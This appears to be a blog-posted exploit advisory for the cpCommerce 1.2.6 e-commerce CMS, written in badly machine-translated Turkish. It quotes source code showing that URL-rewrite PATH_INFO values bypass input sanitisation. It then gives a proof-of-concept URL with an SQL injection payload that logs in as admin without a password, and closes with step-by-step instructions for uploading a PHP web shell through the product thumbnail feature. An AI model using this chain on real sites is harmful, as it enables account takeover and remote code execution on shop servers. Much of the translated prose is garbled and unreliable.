
CMS: cpCommerce 1.2.6
Sitesi: http://cpcommerce.cpradio.org/
Hata: URL Rewrite -> Giriş değişkenler üzerine
Not: Eserler bakılmaksızın ayarları php.ini
1.2.7 yayımlanan cpCommerce: 30/11/08
CMS Açıklama: cpCommerce açık kaynak E-bu şablonlar ve modülleri tarafından tutulur ticaret çözümü.
————————————————–
Güvenlik Açığı tartışma:
cpCommerce için ini_set ile register_globals Kapalı setleri
sonra addslashed ve deposuna ve POST değişkenleri $ içine girdi dizi GET.
satır: 16-32
Dosya: / functions / sanitize_value.func.php
function SanitizeInput()
{
$input = array();
if (isset($_GET) && sizeof($_GET) > 0 && is_array($_GET))
{
foreach ($_GET as $key => $val)
{
if (is_array($val))
{
$input[$key] = SanitizeArray($val);
}
else
{
$input[$key] = SanitizeValue($val);
}
}
}
function SanitizeValue($value)
{
if (!get_magic_quotes_gpc())
{
return addslashes(preg_replace("/(\.\.)/i", "", htmlentities($value, ENT_QUOTES)));
}
else
{
return preg_replace("/(\.\.)/i", "", htmlentities($value, ENT_QUOTES));
}
}
---------------------------------------
Biz _funcions.php (the mainfile) dosyasına bakalım
$input = array();
if ((isset($_GET) && sizeof($_GET) > 0) || (isset($_POST) && sizeof($_POST) > 0))
{
$input = SanitizeInput();
}
Bu nedenle, tek ve GET POST VARS sanitized tr ve saklanan $ içine girdi dizi.
Biz _functions.php olarak devam edelim ...
Satır 156-173
Dosya: _functions.php
if (isset($_SERVER['PATH_INFO']) && strlen($_SERVER['PATH_INFO']) != 0)
{
$rewriteValues = array();
if (strrpos($_SERVER['PATH_INFO'], '/') == strlen($_SERVER['PATH_INFO']) - 1)
{
$rewriteValues = split('/', substr($_SERVER['PATH_INFO'], 1, strlen($_SERVER['PATH_INFO']) - 2));
}
else
{
$rewriteValues = split('/', substr($_SERVER['PATH_INFO'], 1, strlen($_SERVER['PATH_INFO']) - 1));
}
for ($i = 0; $i < sizeof($rewriteValues); $i += 2)
{
$input[$rewriteValues[$i]] = $rewriteValues[$i + 1];
}
}
Örneğin: http://localhost/index.php/helloword GET
/ index.php sayfa, talep ve $ _SERVER [ 'PATH_INFO'] / helloword içerir
Siz ile giriş içerik $ ayarlayabilirsiniz kod önceki snipplet den görebilirsiniz
/ Anahtar / değer / index.php GET
Bu nedenle, SanitazeInput atlayarak bu CMS tüm veri girişleri üzerine olabilir ()
ve magic_quotes bir etkisi
Peki bunun …. istismar olacaktır
Satır: 13-20
Kod: /actions/login.act.php
if (checkSession($input['email'], md5($input['password']))) {
$_SESSION['cpTemplate'] = $_SESSION['cpInfo']['template'];
$return['url'] = urldecode("{$input['returnurl']}");
} else {
$_SESSION['loginerror'] = TRUE;
$return['url'] = urldecode("{$input['returnurl']}");
}
Eğer checkSession döner biz inç .. giriş yaptıkdan sonra
lines: 3-9
code: /functions/account_info.func.php
function checkSession($email,$pass) {
global $config, $db_chooser;
$sql['accounts'] = "select `id_account`, `level` from " . $db_chooser->Accounts() . " where " .
"email='$email' and pass='$pass'";
$accounts = $db_chooser->sql_query($sql['accounts']);
Satır: 3-9
Kod: /functions/account_info.func.php
function checkSession($email,$pass) {
global $config, $db_chooser;
$sql['accounts'] = "select `id_account`, `level` from " . $db_chooser->Accounts() . " where " .
"email='$email' and pass='$pass'";
$accounts = $db_chooser->sql_query($sql['accounts']);
Bu sorgu bir AUTH atlama ile bir SQL Injection sahip işleyebilirsiniz
Admin ile giriş ...
--------------------------------------------------
Eğer giriş $ set [ 'email'] için: 'VEYA id_account = 1 PATH_INFO ve hile ile # (index.php / e-posta / değer)
Ortaya çıkan sorgu olacaktır: `id_account`, `seviye` cpAccounts seçin burada e-posta =''id_account = 1 VEYA
-------------------------------------------------
PoC Auth Bypass:
Http:// [ana GET] / [path] / index.php /
e-posta /% 27% 20OR% 20id_account = 1% 23 /? Action = giriş ve gönderin
---------------
= Giriş & returnurl = index.php
———–
Eğer bir güvenlik paketi yüklemek isterseniz:
- En AUTH atlama ile giriş PoC
- / [Path] / admin Git /
- Genel Bilgi git -> Yapılandırma
- Resim Eklentiler sizin Yüklemeler kabul ne do PHP ekle?
- Ürün git -> Yarat
- Bir sağ Kategorideki
- Gerekli alanları doldurun
Ürün Thumbnail Görüntü - yükle shell.php
- Tüm Kaydet
Kabuk wil / olmak [path] / images / products / simgeleşmiş / [name_of_shell] _ [product_id.] PHP
Hiç yorum yok:
Yorum Gönder